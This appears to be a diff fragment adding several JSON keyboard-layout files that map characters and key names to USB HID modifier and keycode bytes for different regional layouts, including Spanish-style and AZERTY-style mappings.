"DOWNARROW":"00,00,51",
|
||||||
|
"UP":"00,00,52",
|
||||||
|
"UPARROW":"00,00,52",
|
||||||
|
"<":"00,00,64",
|
||||||
|
"APP":"00,00,65",
|
||||||
|
"MENU":"00,00,65",
|
||||||
|
"ALT-TAB":"00,00,71",
|
||||||
|
"CONTROL":"01,00,00",
|
||||||
|
"CTRL":"01,00,00",
|
||||||
|
"SHIFT":"02,00,00",
|
||||||
|
"A":"02,00,04",
|
||||||
|
"B":"02,00,05",
|
||||||
|
"C":"02,00,06",
|
||||||
|
"D":"02,00,07",
|
||||||
|
"E":"02,00,08",
|
||||||
|
"F":"02,00,09",
|
||||||
|
"G":"02,00,0a",
|
||||||
|
"H":"02,00,0b",
|
||||||
|
"I":"02,00,0c",
|
||||||
|
"J":"02,00,0d",
|
||||||
|
"K":"02,00,0e",
|
||||||
|
"L":"02,00,0f",
|
||||||
|
"M":"02,00,10",
|
||||||
|
"N":"02,00,11",
|
||||||
|
"O":"02,00,12",
|
||||||
|
"P":"02,00,13",
|
||||||
|
"Q":"02,00,14",
|
||||||
|
"R":"02,00,15",
|
||||||
|
"S":"02,00,16",
|
||||||
|
"T":"02,00,17",
|
||||||
|
"U":"02,00,18",
|
||||||
|
"V":"02,00,19",
|
||||||
|
"W":"02,00,1a",
|
||||||
|
"X":"02,00,1b",
|
||||||
|
"Y":"02,00,1c",
|
||||||
|
"Z":"02,00,1d",
|
||||||
|
"!":"02,00,1e",
|
||||||
|
"\"":"02,00,1f",
|
||||||
|
"#":"02,00,20",
|
||||||
|
"%":"02,00,22",
|
||||||
|
"&":"02,00,23",
|
||||||
|
"/":"02,00,24",
|
||||||
|
"(":"02,00,25",
|
||||||
|
")":"02,00,26",
|
||||||
|
"=":"02,00,27",
|
||||||
|
"?":"02,00,2d",
|
||||||
|
"^":"02,00,30",
|
||||||
|
"*":"02,00,31",
|
||||||
|
";":"02,00,36",
|
||||||
|
":":"02,00,37",
|
||||||
|
"_":"02,00,38",
|
||||||
|
">":"02,00,64",
|
||||||
|
"CTRL-SHIFT":"03,00,00",
|
||||||
|
"ALT":"04,00,00",
|
||||||
|
"CTRL-ALT":"05,00,00",
|
||||||
|
"ALT-SHIFT":"06,00,00",
|
||||||
|
"COMMAND":"08,00,00",
|
||||||
|
"GUI":"08,00,00",
|
||||||
|
"WINDOWS":"08,00,00",
|
||||||
|
"COMMAND-OPTION":"12,00,00",
|
||||||
|
"@":"40,00,1f",
|
||||||
|
"$":"40,00,21",
|
||||||
|
"{":"40,00,24",
|
||||||
|
"[":"40,00,25",
|
||||||
|
"]":"40,00,26",
|
||||||
|
"}":"40,00,27",
|
||||||
|
"|":"40,00,2e",
|
||||||
|
"~":"40,00,30",
|
||||||
|
"\\":"40,00,64",
|
||||||
|
"COMMAND-CTRL-SHIFT":"40,00,64",
|
||||||
|
"COMMAND-CTRL":"40,00,64",
|
||||||
|
"COMMAND-OPTION-SHIFT'":"40,00,64"
|
||||||
|
}
|
|
@ -0,0 +1,176 @@
|
||||||
|
{
|
||||||
|
"__comment":"All numbers here are in hex format and 0x is ignored.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
|
||||||
|
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
|
||||||
|
"__comment":" of document USB HID Usage Tables Version 1.12.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Definition of these 3 bytes can be found",
|
||||||
|
"__comment":" in section B.1 Protocol 1 (Keyboard)",
|
||||||
|
"__comment":" of document Device Class Definition for HID Version 1.11",
|
||||||
|
"__comment":" - byte 1: Modifier keys",
|
||||||
|
"__comment":" - byte 2: Reserved",
|
||||||
|
"__comment":" - byte 3: Keycode 1",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Both documents can be obtained from link here",
|
||||||
|
"__comment":" http://www.usb.org/developers/hidpage/",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"A = LeftShift + a, { = LeftShift + [",
|
||||||
|
"__comment":" ",
|
||||||
|
"a":"00,00,04",
|
||||||
|
"b":"00,00,05",
|
||||||
|
"c":"00,00,06",
|
||||||
|
"d":"00,00,07",
|
||||||
|
"e":"00,00,08",
|
||||||
|
"f":"00,00,09",
|
||||||
|
"g":"00,00,0a",
|
||||||
|
"h":"00,00,0b",
|
||||||
|
"i":"00,00,0c",
|
||||||
|
"j":"00,00,0d",
|
||||||
|
"k":"00,00,0e",
|
||||||
|
"l":"00,00,0f",
|
||||||
|
"m":"00,00,10",
|
||||||
|
"n":"00,00,11",
|
||||||
|
"o":"00,00,12",
|
||||||
|
"p":"00,00,13",
|
||||||
|
"q":"00,00,14",
|
||||||
|
"r":"00,00,15",
|
||||||
|
"s":"00,00,16",
|
||||||
|
"t":"00,00,17",
|
||||||
|
"u":"00,00,18",
|
||||||
|
"v":"00,00,19",
|
||||||
|
"w":"00,00,1a",
|
||||||
|
"x":"00,00,1b",
|
||||||
|
"y":"00,00,1c",
|
||||||
|
"z":"00,00,1d",
|
||||||
|
"1":"00,00,1e",
|
||||||
|
"2":"00,00,1f",
|
||||||
|
"3":"00,00,20",
|
||||||
|
"4":"00,00,21",
|
||||||
|
"5":"00,00,22",
|
||||||
|
"6":"00,00,23",
|
||||||
|
"7":"00,00,24",
|
||||||
|
"8":"00,00,25",
|
||||||
|
"9":"00,00,26",
|
||||||
|
"0":"00,00,27",
|
||||||
|
"ENTER":"00,00,28",
|
||||||
|
"ESC":"00,00,29",
|
||||||
|
"ESCAPE":"00,00,29",
|
||||||
|
"TAB":"00,00,2b",
|
||||||
|
" ":"00,00,2c",
|
||||||
|
"SPACE":"00,00,2c",
|
||||||
|
"'":"00,00,2d",
|
||||||
|
"¿":"00,00,2e",
|
||||||
|
"´":"00,00,2f",
|
||||||
|
"+":"00,00,30",
|
||||||
|
"ñ":"00,00,31",
|
||||||
|
"{":"00,00,33",
|
||||||
|
"}":"00,00,34",
|
||||||
|
"|":"00,00,35",
|
||||||
|
",":"00,00,36",
|
||||||
|
".":"00,00,37",
|
||||||
|
"-":"00,00,38",
|
||||||
|
"CAPSLOCK":"00,00,39",
|
||||||
|
"F1":"00,00,3a",
|
||||||
|
"F2":"00,00,3b",
|
||||||
|
"F3":"00,00,3c",
|
||||||
|
"F4":"00,00,3d",
|
||||||
|
"F5":"00,00,3e",
|
||||||
|
"F6":"00,00,3f",
|
||||||
|
"F7":"00,00,40",
|
||||||
|
"F8":"00,00,41",
|
||||||
|
"F9":"00,00,42",
|
||||||
|
"F10":"00,00,43",
|
||||||
|
"F11":"00,00,44",
|
||||||
|
"F12":"00,00,45",
|
||||||
|
"PRINTSCREEN":"00,00,46",
|
||||||
|
"SCROLLLOCK":"00,00,47",
|
||||||
|
"BREAK":"00,00,48",
|
||||||
|
"PAUSE":"00,00,48",
|
||||||
|
"INSERT":"00,00,49",
|
||||||
|
"HOME":"00,00,4a",
|
||||||
|
"PAGEUP":"00,00,4b",
|
||||||
|
"DEL":"00,00,4c",
|
||||||
|
"DELETE":"00,00,4c",
|
||||||
|
"END":"00,00,4d",
|
||||||
|
"PAGEDOWN":"00,00,4e",
|
||||||
|
"RIGHT":"00,00,4f",
|
||||||
|
"RIGHTARROW":"00,00,4f",
|
||||||
|
"LEFT":"00,00,50",
|
||||||
|
"LEFTARROW":"00,00,50",
|
||||||
|
"DOWN":"00,00,51",
|
||||||
|
"DOWNARROW":"00,00,51",
|
||||||
|
"UP":"00,00,52",
|
||||||
|
"UPARROW":"00,00,52",
|
||||||
|
"<":"00,00,64",
|
||||||
|
"APP":"00,00,65",
|
||||||
|
"MENU":"00,00,65",
|
||||||
|
"ALT-TAB":"00,00,71",
|
||||||
|
"CONTROL":"01,00,00",
|
||||||
|
"CTRL":"01,00,00",
|
||||||
|
"SHIFT":"02,00,00",
|
||||||
|
"A":"02,00,04",
|
||||||
|
"B":"02,00,05",
|
||||||
|
"C":"02,00,06",
|
||||||
|
"D":"02,00,07",
|
||||||
|
"E":"02,00,08",
|
||||||
|
"F":"02,00,09",
|
||||||
|
"G":"02,00,0a",
|
||||||
|
"H":"02,00,0b",
|
||||||
|
"I":"02,00,0c",
|
||||||
|
"J":"02,00,0d",
|
||||||
|
"K":"02,00,0e",
|
||||||
|
"L":"02,00,0f",
|
||||||
|
"M":"02,00,10",
|
||||||
|
"N":"02,00,11",
|
||||||
|
"O":"02,00,12",
|
||||||
|
"P":"02,00,13",
|
||||||
|
"Q":"02,00,14",
|
||||||
|
"R":"02,00,15",
|
||||||
|
"S":"02,00,16",
|
||||||
|
"T":"02,00,17",
|
||||||
|
"U":"02,00,18",
|
||||||
|
"V":"02,00,19",
|
||||||
|
"W":"02,00,1a",
|
||||||
|
"X":"02,00,1b",
|
||||||
|
"Y":"02,00,1c",
|
||||||
|
"Z":"02,00,1d",
|
||||||
|
"!":"02,00,1e",
|
||||||
|
"\"":"02,00,1f",
|
||||||
|
"#":"02,00,20",
|
||||||
|
"$":"02,00,21",
|
||||||
|
"%":"02,00,22",
|
||||||
|
"&":"02,00,23",
|
||||||
|
"/":"02,00,24",
|
||||||
|
"(":"02,00,25",
|
||||||
|
")":"02,00,26",
|
||||||
|
"=":"02,00,27",
|
||||||
|
"?":"02,00,2d",
|
||||||
|
"¡":"02,00,2e",
|
||||||
|
"¨":"02,00,2f",
|
||||||
|
"*":"02,00,30",
|
||||||
|
"Ñ":"02,00,31",
|
||||||
|
"[":"02,00,33",
|
||||||
|
"]":"02,00,34",
|
||||||
|
"°":"02,00,35",
|
||||||
|
";":"02,00,36",
|
||||||
|
":":"02,00,37",
|
||||||
|
"_":"02,00,38",
|
||||||
|
">":"02,00,64",
|
||||||
|
"\\":"04,00,2d",
|
||||||
|
"~":"04,00,30",
|
||||||
|
"^":"04,00,33",
|
||||||
|
"`":"04,00,34",
|
||||||
|
"¬":"04,00,35",
|
||||||
|
"CTRL-SHIFT":"03,00,00",
|
||||||
|
"ALT":"04,00,00",
|
||||||
|
"CTRL-ALT":"05,00,00",
|
||||||
|
"ALT-SHIFT":"06,00,00",
|
||||||
|
"COMMAND":"08,00,00",
|
||||||
|
"GUI":"08,00,00",
|
||||||
|
"WINDOWS":"08,00,00",
|
||||||
|
"COMMAND-OPTION":"12,00,00",
|
||||||
|
"COMMAND-CTRL-SHIFT":"12,00,00",
|
||||||
|
"COMMAND-CTRL":"12,00,00",
|
||||||
|
"COMMAND-OPTION-SHIFT'":"12,00,00"
|
||||||
|
}
|
|
@ -0,0 +1,169 @@
|
||||||
|
{
|
||||||
|
"__comment":"All numbers here are in hex format and 0x is ignored.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
|
||||||
|
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
|
||||||
|
"__comment":" of document USB HID Usage Tables Version 1.12.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Definition of these 3 bytes can be found",
|
||||||
|
"__comment":" in section B.1 Protocol 1 (Keyboard)",
|
||||||
|
"__comment":" of document Device Class Definition for HID Version 1.11",
|
||||||
|
"__comment":" - byte 1: Modifier keys",
|
||||||
|
"__comment":" - byte 2: Reserved",
|
||||||
|
"__comment":" - byte 3: Keycode 1",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Both documents can be obtained from link here",
|
||||||
|
"__comment":" http://www.usb.org/developers/hidpage/",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"A = LeftShift + a, { = LeftShift + [",
|
||||||
|
"__comment":" ",
|
||||||
|
"a":"00,00,04",
|
||||||
|
"b":"00,00,05",
|
||||||
|
"c":"00,00,06",
|
||||||
|
"d":"00,00,07",
|
||||||
|
"e":"00,00,08",
|
||||||
|
"f":"00,00,09",
|
||||||
|
"g":"00,00,0a",
|
||||||
|
"h":"00,00,0b",
|
||||||
|
"i":"00,00,0c",
|
||||||
|
"j":"00,00,0d",
|
||||||
|
"k":"00,00,0e",
|
||||||
|
"l":"00,00,0f",
|
||||||
|
"m":"00,00,10",
|
||||||
|
"n":"00,00,11",
|
||||||
|
"o":"00,00,12",
|
||||||
|
"p":"00,00,13",
|
||||||
|
"q":"00,00,14",
|
||||||
|
"r":"00,00,15",
|
||||||
|
"s":"00,00,16",
|
||||||
|
"t":"00,00,17",
|
||||||
|
"u":"00,00,18",
|
||||||
|
"v":"00,00,19",
|
||||||
|
"w":"00,00,1a",
|
||||||
|
"x":"00,00,1b",
|
||||||
|
"y":"00,00,1c",
|
||||||
|
"z":"00,00,1d",
|
||||||
|
"1":"00,00,1e",
|
||||||
|
"2":"00,00,1f",
|
||||||
|
"3":"00,00,20",
|
||||||
|
"4":"00,00,21",
|
||||||
|
"5":"00,00,22",
|
||||||
|
"6":"00,00,23",
|
||||||
|
"7":"00,00,24",
|
||||||
|
"8":"00,00,25",
|
||||||
|
"9":"00,00,26",
|
||||||
|
"0":"00,00,27",
|
||||||
|
"ENTER":"00,00,28",
|
||||||
|
"ESC":"00,00,29",
|
||||||
|
"ESCAPE":"00,00,29",
|
||||||
|
"TAB":"00,00,2b",
|
||||||
|
" ":"00,00,2c",
|
||||||
|
"SPACE":"00,00,2c",
|
||||||
|
"'":"00,00,2d",
|
||||||
|
"+":"00,00,30",
|
||||||
|
",":"00,00,36",
|
||||||
|
".":"00,00,37",
|
||||||
|
"-":"00,00,38",
|
||||||
|
"CAPSLOCK":"00,00,39",
|
||||||
|
"F1":"00,00,3a",
|
||||||
|
"F2":"00,00,3b",
|
||||||
|
"F3":"00,00,3c",
|
||||||
|
"F4":"00,00,3d",
|
||||||
|
"F5":"00,00,3e",
|
||||||
|
"F6":"00,00,3f",
|
||||||
|
"F7":"00,00,40",
|
||||||
|
"F8":"00,00,41",
|
||||||
|
"F9":"00,00,42",
|
||||||
|
"F10":"00,00,43",
|
||||||
|
"F11":"00,00,44",
|
||||||
|
"F12":"00,00,45",
|
||||||
|
"PRINTSCREEN":"00,00,46",
|
||||||
|
"SCROLLLOCK":"00,00,47",
|
||||||
|
"BREAK":"00,00,48",
|
||||||
|
"PAUSE":"00,00,48",
|
||||||
|
"INSERT":"00,00,49",
|
||||||
|
"HOME":"00,00,4a",
|
||||||
|
"PAGEUP":"00,00,4b",
|
||||||
|
"DEL":"00,00,4c",
|
||||||
|
"DELETE":"00,00,4c",
|
||||||
|
"END":"00,00,4d",
|
||||||
|
"PAGEDOWN":"00,00,4e",
|
||||||
|
"RIGHT":"00,00,4f",
|
||||||
|
"RIGHTARROW":"00,00,4f",
|
||||||
|
"LEFT":"00,00,50",
|
||||||
|
"LEFTARROW":"00,00,50",
|
||||||
|
"DOWN":"00,00,51",
|
||||||
|
"DOWNARROW":"00,00,51",
|
||||||
|
"UP":"00,00,52",
|
||||||
|
"UPARROW":"00,00,52",
|
||||||
|
"<":"00,00,64",
|
||||||
|
"APP":"00,00,65",
|
||||||
|
"MENU":"00,00,65",
|
||||||
|
"ALT-TAB":"00,00,71",
|
||||||
|
"CONTROL":"01,00,00",
|
||||||
|
"CTRL":"01,00,00",
|
||||||
|
"SHIFT":"02,00,00",
|
||||||
|
"A":"02,00,04",
|
||||||
|
"B":"02,00,05",
|
||||||
|
"C":"02,00,06",
|
||||||
|
"D":"02,00,07",
|
||||||
|
"E":"02,00,08",
|
||||||
|
"F":"02,00,09",
|
||||||
|
"G":"02,00,0a",
|
||||||
|
"H":"02,00,0b",
|
||||||
|
"I":"02,00,0c",
|
||||||
|
"J":"02,00,0d",
|
||||||
|
"K":"02,00,0e",
|
||||||
|
"L":"02,00,0f",
|
||||||
|
"M":"02,00,10",
|
||||||
|
"N":"02,00,11",
|
||||||
|
"O":"02,00,12",
|
||||||
|
"P":"02,00,13",
|
||||||
|
"Q":"02,00,14",
|
||||||
|
"R":"02,00,15",
|
||||||
|
"S":"02,00,16",
|
||||||
|
"T":"02,00,17",
|
||||||
|
"U":"02,00,18",
|
||||||
|
"V":"02,00,19",
|
||||||
|
"W":"02,00,1a",
|
||||||
|
"X":"02,00,1b",
|
||||||
|
"Y":"02,00,1c",
|
||||||
|
"Z":"02,00,1d",
|
||||||
|
"!":"02,00,1e",
|
||||||
|
"\"":"02,00,1f",
|
||||||
|
"$":"02,00,21",
|
||||||
|
"%":"02,00,22",
|
||||||
|
"&":"02,00,23",
|
||||||
|
"/":"02,00,24",
|
||||||
|
"(":"02,00,25",
|
||||||
|
")":"02,00,26",
|
||||||
|
"=":"02,00,27",
|
||||||
|
"?":"02,00,2d",
|
||||||
|
"^":"02,00,2e",
|
||||||
|
"*":"02,00,30",
|
||||||
|
";":"02,00,36",
|
||||||
|
":":"02,00,37",
|
||||||
|
"_":"02,00,38",
|
||||||
|
">":"02,00,64",
|
||||||
|
"CTRL-SHIFT":"03,00,00",
|
||||||
|
"ALT":"04,00,00",
|
||||||
|
"CTRL-ALT":"05,00,00",
|
||||||
|
"ALT-SHIFT":"06,00,00",
|
||||||
|
"COMMAND":"08,00,00",
|
||||||
|
"GUI":"08,00,00",
|
||||||
|
"WINDOWS":"08,00,00",
|
||||||
|
"COMMAND-OPTION":"12,00,00",
|
||||||
|
"|":"40,00,1e",
|
||||||
|
"@":"40,00,1f",
|
||||||
|
"#":"40,00,20",
|
||||||
|
"~":"40,00,21",
|
||||||
|
"[":"40,00,2f",
|
||||||
|
"]":"40,00,30",
|
||||||
|
"\\":"40,00,35",
|
||||||
|
"`":"40,00,35",
|
||||||
|
"{":"42,00,2f",
|
||||||
|
"}":"42,00,30",
|
||||||
|
"COMMAND-CTRL-SHIFT":"42,00,30",
|
||||||
|
"COMMAND-CTRL":"42,00,30",
|
||||||
|
"COMMAND-OPTION-SHIFT'":"42,00,30"
|
||||||
|
}
|
|
@ -0,0 +1,169 @@
|
||||||
|
{
|
||||||
|
"__comment":"All numbers here are in hex format and 0x is ignored.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
|
||||||
|
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
|
||||||
|
"__comment":" of document USB HID Usage Tables Version 1.12.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Definition of these 3 bytes can be found",
|
||||||
|
"__comment":" in section B.1 Protocol 1 (Keyboard)",
|
||||||
|
"__comment":" of document Device Class Definition for HID Version 1.11",
|
||||||
|
"__comment":" - byte 1: Modifier keys",
|
||||||
|
"__comment":" - byte 2: Reserved",
|
||||||
|
"__comment":" - byte 3: Keycode 1",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Both documents can be obtained from link here",
|
||||||
|
"__comment":" http://www.usb.org/developers/hidpage/",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"A = LeftShift + a, { = LeftShift + [",
|
||||||
|
"__comment":" ",
|
||||||
|
"a":"00,00,04",
|
||||||
|
"b":"00,00,05",
|
||||||
|
"c":"00,00,06",
|
||||||
|
"d":"00,00,07",
|
||||||
|
"e":"00,00,08",
|
||||||
|
"f":"00,00,09",
|
||||||
|
"g":"00,00,0a",
|
||||||
|
"h":"00,00,0b",
|
||||||
|
"i":"00,00,0c",
|
||||||
|
"j":"00,00,0d",
|
||||||
|
"k":"00,00,0e",
|
||||||
|
"l":"00,00,0f",
|
||||||
|
"m":"00,00,10",
|
||||||
|
"n":"00,00,11",
|
||||||
|
"o":"00,00,12",
|
||||||
|
"p":"00,00,13",
|
||||||
|
"q":"00,00,14",
|
||||||
|
"r":"00,00,15",
|
||||||
|
"s":"00,00,16",
|
||||||
|
"t":"00,00,17",
|
||||||
|
"u":"00,00,18",
|
||||||
|
"v":"00,00,19",
|
||||||
|
"w":"00,00,1a",
|
||||||
|
"x":"00,00,1b",
|
||||||
|
"y":"00,00,1c",
|
||||||
|
"z":"00,00,1d",
|
||||||
|
"1":"00,00,1e",
|
||||||
|
"2":"00,00,1f",
|
||||||
|
"3":"00,00,20",
|
||||||
|
"4":"00,00,21",
|
||||||
|
"5":"00,00,22",
|
||||||
|
"6":"00,00,23",
|
||||||
|
"7":"00,00,24",
|
||||||
|
"8":"00,00,25",
|
||||||
|
"9":"00,00,26",
|
||||||
|
"0":"00,00,27",
|
||||||
|
"ENTER":"00,00,28",
|
||||||
|
"ESC":"00,00,29",
|
||||||
|
"ESCAPE":"00,00,29",
|
||||||
|
"TAB":"00,00,2b",
|
||||||
|
" ":"00,00,2c",
|
||||||
|
"SPACE":"00,00,2c",
|
||||||
|
"+":"00,00,2d",
|
||||||
|
"'":"00,00,31",
|
||||||
|
",":"00,00,36",
|
||||||
|
".":"00,00,37",
|
||||||
|
"-":"00,00,38",
|
||||||
|
"CAPSLOCK":"00,00,39",
|
||||||
|
"F1":"00,00,3a",
|
||||||
|
"F2":"00,00,3b",
|
||||||
|
"F3":"00,00,3c",
|
||||||
|
"F4":"00,00,3d",
|
||||||
|
"F5":"00,00,3e",
|
||||||
|
"F6":"00,00,3f",
|
||||||
|
"F7":"00,00,40",
|
||||||
|
"F8":"00,00,41",
|
||||||
|
"F9":"00,00,42",
|
||||||
|
"F10":"00,00,43",
|
||||||
|
"F11":"00,00,44",
|
||||||
|
"F12":"00,00,45",
|
||||||
|
"PRINTSCREEN":"00,00,46",
|
||||||
|
"SCROLLLOCK":"00,00,47",
|
||||||
|
"BREAK":"00,00,48",
|
||||||
|
"PAUSE":"00,00,48",
|
||||||
|
"INSERT":"00,00,49",
|
||||||
|
"HOME":"00,00,4a",
|
||||||
|
"PAGEUP":"00,00,4b",
|
||||||
|
"DEL":"00,00,4c",
|
||||||
|
"DELETE":"00,00,4c",
|
||||||
|
"END":"00,00,4d",
|
||||||
|
"PAGEDOWN":"00,00,4e",
|
||||||
|
"RIGHT":"00,00,4f",
|
||||||
|
"RIGHTARROW":"00,00,4f",
|
||||||
|
"LEFT":"00,00,50",
|
||||||
|
"LEFTARROW":"00,00,50",
|
||||||
|
"DOWN":"00,00,51",
|
||||||
|
"DOWNARROW":"00,00,51",
|
||||||
|
"UP":"00,00,52",
|
||||||
|
"UPARROW":"00,00,52",
|
||||||
|
"<":"00,00,64",
|
||||||
|
"APP":"00,00,65",
|
||||||
|
"MENU":"00,00,65",
|
||||||
|
"ALT-TAB":"00,00,71",
|
||||||
|
"CONTROL":"01,00,00",
|
||||||
|
"CTRL":"01,00,00",
|
||||||
|
"SHIFT":"02,00,00",
|
||||||
|
"A":"02,00,04",
|
||||||
|
"B":"02,00,05",
|
||||||
|
"C":"02,00,06",
|
||||||
|
"D":"02,00,07",
|
||||||
|
"E":"02,00,08",
|
||||||
|
"F":"02,00,09",
|
||||||
|
"G":"02,00,0a",
|
||||||
|
"H":"02,00,0b",
|
||||||
|
"I":"02,00,0c",
|
||||||
|
"J":"02,00,0d",
|
||||||
|
"K":"02,00,0e",
|
||||||
|
"L":"02,00,0f",
|
||||||
|
"M":"02,00,10",
|
||||||
|
"N":"02,00,11",
|
||||||
|
"O":"02,00,12",
|
||||||
|
"P":"02,00,13",
|
||||||
|
"Q":"02,00,14",
|
||||||
|
"R":"02,00,15",
|
||||||
|
"S":"02,00,16",
|
||||||
|
"T":"02,00,17",
|
||||||
|
"U":"02,00,18",
|
||||||
|
"V":"02,00,19",
|
||||||
|
"W":"02,00,1a",
|
||||||
|
"X":"02,00,1b",
|
||||||
|
"Y":"02,00,1c",
|
||||||
|
"Z":"02,00,1d",
|
||||||
|
"!":"02,00,1e",
|
||||||
|
"\"":"02,00,1f",
|
||||||
|
"#":"02,00,20",
|
||||||
|
"%":"02,00,22",
|
||||||
|
"&":"02,00,23",
|
||||||
|
"/":"02,00,24",
|
||||||
|
"(":"02,00,25",
|
||||||
|
")":"02,00,26",
|
||||||
|
"=":"02,00,27",
|
||||||
|
"?":"02,00,2d",
|
||||||
|
"`":"02,00,2e",
|
||||||
|
"^":"02,00,30",
|
||||||
|
"*":"02,00,31",
|
||||||
|
";":"02,00,36",
|
||||||
|
":":"02,00,37",
|
||||||
|
"_":"02,00,38",
|
||||||
|
">":"02,00,64",
|
||||||
|
"CTRL-SHIFT":"03,00,00",
|
||||||
|
"ALT":"04,00,00",
|
||||||
|
"CTRL-ALT":"05,00,00",
|
||||||
|
"ALT-SHIFT":"06,00,00",
|
||||||
|
"COMMAND":"08,00,00",
|
||||||
|
"GUI":"08,00,00",
|
||||||
|
"WINDOWS":"08,00,00",
|
||||||
|
"COMMAND-OPTION":"12,00,00",
|
||||||
|
"@":"40,00,1f",
|
||||||
|
"$":"40,00,21",
|
||||||
|
"{":"40,00,24",
|
||||||
|
"[":"40,00,25",
|
||||||
|
"]":"40,00,26",
|
||||||
|
"}":"40,00,27",
|
||||||
|
"\\":"40,00,2d",
|
||||||
|
"~":"40,00,30",
|
||||||
|
"|":"40,00,64",
|
||||||
|
"COMMAND-CTRL-SHIFT":"40,00,64",
|
||||||
|
"COMMAND-CTRL":"40,00,64",
|
||||||
|
"COMMAND-OPTION-SHIFT'":"40,00,64"
|
||||||
|
}
|
|
@ -0,0 +1,169 @@
|
||||||
|
{
|
||||||
|
"__comment":"All numbers here are in hex format and 0x is ignored.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"This list is in ascending order of 3rd byte (HID Usage ID).",
|
||||||
|
"__comment":" See section 10 Keyboard/Keypad Page (0x07)",
|
||||||
|
"__comment":" of document USB HID Usage Tables Version 1.12.",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Definition of these 3 bytes can be found",
|
||||||
|
"__comment":" in section B.1 Protocol 1 (Keyboard)",
|
||||||
|
"__comment":" of document Device Class Definition for HID Version 1.11",
|
||||||
|
"__comment":" - byte 1: Modifier keys",
|
||||||
|
"__comment":" - byte 2: Reserved",
|
||||||
|
"__comment":" - byte 3: Keycode 1",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"Both documents can be obtained from link here",
|
||||||
|
"__comment":" http://www.usb.org/developers/hidpage/",
|
||||||
|
"__comment":" ",
|
||||||
|
"__comment":"A = LeftShift + a, { = LeftShift + [",
|
||||||
|
"__comment":" ",
|
||||||
|
"q":"00,00,04",
|
||||||
|
"b":"00,00,05",
|
||||||
|
"c":"00,00,06",
|
||||||
|
"d":"00,00,07",
|
||||||
|
"e":"00,00,08",
|
||||||
|
"f":"00,00,09",
|
||||||
|
"g":"00,00,0a",
|
||||||
|
"h":"00,00,0b",
|
||||||
|
"i":"00,00,0c",
|
||||||
|
"j":"00,00,0d",
|
||||||
|
"k":"00,00,0e",
|
||||||
|
"l":"00,00,0f",
|
||||||
|
",":"00,00,10",
|
||||||
|
"n":"00,00,11",
|
||||||
|
"o":"00,00,12",
|
||||||
|
"p":"00,00,13",
|
||||||
|
"a":"00,00,14",
|
||||||
|
"r":"00,00,15",
|
||||||
|
"s":"00,00,16",
|
||||||
|
"t":"00,00,17",
|
||||||
|
"u":"00,00,18",
|
||||||
|
"v":"00,00,19",
|
||||||
|
"z":"00,00,1a",
|
||||||
|
"x":"00,00,1b",
|
||||||
|
"y":"00,00,1c",
|
||||||
|
"w":"00,00,1d",
|
||||||
|
"&":"00,00,1e",
|
||||||
|
"\"":"00,00,20",
|
||||||
|
"'":"00,00,21",
|
||||||
|
"(":"00,00,22",
|
||||||
|
"-":"00,00,23",
|
||||||
|
"_":"00,00,25",
|
||||||
|
"ENTER":"00,00,28",
|
||||||
|
"ESC":"00,00,29",
|
||||||
|
"ESCAPE":"00,00,29",
|
||||||
|
"TAB":"00,00,2b",
|
||||||
|
" ":"00,00,2c",
|
||||||
|
"SPACE":"00,00,2c",
|
||||||
|
")":"00,00,2d",
|
||||||
|
"=":"00,00,2e",
|
||||||
|
"$":"00,00,30",
|
||||||
|
"*":"00,00,31",
|
||||||
|
"m":"00,00,33",
|
||||||
|
";":"00,00,36",
|
||||||
|
":":"00,00,37",
|
||||||
|
"!":"00,00,38",
|
||||||
|
"CAPSLOCK":"00,00,39",
|
||||||
|
"F1":"00,00,3a",
|
||||||
|
"F2":"00,00,3b",
|
||||||
|
"F3":"00,00,3c",
|
||||||
|
"F4":"00,00,3d",
|
||||||
|
"F5":"00,00,3e",
|
||||||
|
"F6":"00,00,3f",
|
||||||
|
"F7":"00,00,40",
|
||||||
|
"F8":"00,00,41",
|
||||||
|
"F9":"00,00,42",
|
||||||
|
"F10":"00,00,43",
|
||||||
|
"F11":"00,00,44",
|
||||||
|
"F12":"00,00,45",
|
||||||
|
"PRINTSCREEN":"00,00,46",
|
||||||
|
"SCROLLLOCK":"00,00,47",
|
||||||
|
"BREAK":"00,00,48",
|
||||||
|
"PAUSE":"00,00,48",
|
||||||
|
"INSERT":"00,00,49",
|
||||||
|
"HOME":"00,00,4a",
|
||||||
|
"PAGEUP":"00,00,4b",
|
||||||
|
"DEL":"00,00,4c",
|
||||||
|
"DELETE":"00,00,4c",
|
||||||
|
"END":"00,00,4d",
|
||||||
|
"PAGEDOWN":"00,00,4e",
|
||||||
|
"RIGHT":"00,00,4f",
|
||||||
|
"RIGHTARROW":"00,00,4f",
|
||||||
|
"LEFT":"00,00,50",
|
||||||
|
"LEFTARROW":"00,00,50",
|
||||||
|
"DOWN":"00,00,51",
|
||||||
|
"DOWNARROW":"00,00,51",
|
||||||
|
"UP":"00,00,52",
|
||||||
|
"UPARROW":"00,00,52",
|
||||||
|
"<":"00,00,64",
|
||||||
|
"APP":"00,00,65",
|
||||||
|
"MENU":"00,00,65",
|
||||||
|
"ALT-TAB":"00,00,71",
|
||||||
|
"CONTROL":"01,00,00",
|
||||||
|
"CTRL":"01,00,00",
|
||||||
|
"SHIFT":"02,00,00",
|
||||||
|
"Q":"02,00,04",
|
||||||
|
"B":"02,00,05",
|
||||||
|
"C":"02,00,06",
|
||||||
|
"D":"02,00,07",
|
||||||
|
"E":"02,00,08",
|
